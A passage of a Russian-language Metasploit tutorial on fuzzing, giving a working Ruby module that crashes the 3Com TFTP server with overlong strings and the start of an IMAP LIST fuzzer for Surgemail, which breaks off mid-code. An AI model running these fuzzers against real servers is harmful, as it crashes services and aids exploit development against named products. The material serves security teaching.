Простой пример фаззинга.
Фаззинг - это процесс отсылки намеренно некорректных данных в исследуемый объект с целью вызвать ситуацию сбоя или ошибку. Типичная фаззинг проверка приложения - это проверка на переполнение буфера, строки формата, Directory Traversal атаки, уязвимости выполнения команд, SQL-инъекции, XSS и многое другое. Поскольку Metasploit представляет собой весьма полный набор библиотек для профессионалов в области безопасности, для многих сетевых протоколов и данных манипуляции, эта основа является хорошим кандидатом для быстрой разработки пригодной в фаззинге.
Rex::Text модуль предоставляет много удобных методов работы с текстом :
-Буфер преобразования,
-Кодирование (HTML, URL и т.д.),
-Контрольную сумму,
-Случайные генерации строк.
За более подробной информацией обратитесь к документации по API:
.
Вот некоторые из функций, которые вы можете найти в Rex::Text:
root@bt4:~/docs# grep "def self.rand" /pentest/exploits/framework3/lib/rex/text.rb def self.rand_char(bad, chars = AllChars) def self.rand_base(len, bad, *foo) def self.rand_text(len, bad='', chars = AllChars) def self.rand_text_alpha(len, bad='') def self.rand_text_alpha_lower(len, bad='') def self.rand_text_alpha_upper(len, bad='') def self.rand_text_alphanumeric(len, bad='') def self.rand_text_numeric(len, bad='') def self.rand_text_english(len, bad='') def self.rand_text_highascii(len, bad='') def self.randomize_space(str) def self.rand_hostname def self.rand_state()
Простой TFTP фаззинг.
Одним из наиболее мощных аспектов Metasploit является, легкость внесения изменений и создания новой функциональности за счет повторного использования существующего кода.
Например, для демонстрации очень простого фаззинг кода, вы можете сделать несколько незначительных изменений в существующем модуле Metasploit для создания фаззинг модуля. Изменения будем вносить в значение длины в транспортном модуле 3Com TFTP сервисе под Windows, в результате чего перепишем EIP.
#Metasploit require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner def initialize super( 'Name' => '3Com TFTP Fuzzer', 'Version' => '$Revision: 1 $', 'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String', 'Author' => 'Your name here', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(69) ], self.class) end def run_host(ip) # Create an unbound UDP socket udp_sock = Rex::Socket::Udp.create( 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } ) count = 10 # Set an initial count while count < 2000 # While the count is under 2000 run evil = "A" * count # Set a number of "A"s equal to count pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet print_status("Sending: #{evil}") # Status update resp = udp_sock.get(1) # Capture the response count += 10 # Increase count by 10, and loop end end end
Теперь посмотрим, что произойдет.

Мы получили крах приложения! Фаззинг работает так как и ожидалось.
Простой IMAP файзинг.
В ходе разведки мы обнаружили почтовые сервера IMAP, которые, как известно, могут быть уязвимыми для атак переполнения буфера (Surgemail 3.8k4-4). Но готового эксплоита нет, ни в базе данных Metasploit, ни в Интернете. Мы решили написать его сами, просто используя файзинг IMAP. Также мы знаем, что уязвимы команды IMAP LIST и нужно обладать высокими полномочиями чтобы их использовать. Как мы уже видели ранее, MSF может нам помочь большим арсеналом сетевых библиотек, и IMAP не является исключением. Включив Msf::Exploit::Remote::Imap мы сэкономим много времени при подключении к IMAP серверу и выполнению шагов аутентификации необходимых для проверки запуска уязвимой команды.
Вот код для файзинга IMAP LIST:
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Imap include Msf::Auxiliary::Dos def initialize super( 'Name' => 'Simple IMAP Fuzzer', 'Description' => %q{ An example of how to build a simple IMAP fuzzer. Account IMAP credentials are required in this fuzzer. }, 'Author' => [ 'ryujin' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $' ) end def fuzz_str() return Rex::Text.rand_text_alphanumeric(rand(1024)) end def run() srand(0) while (true)
Страниц: 1 2
Оставить комментарий или два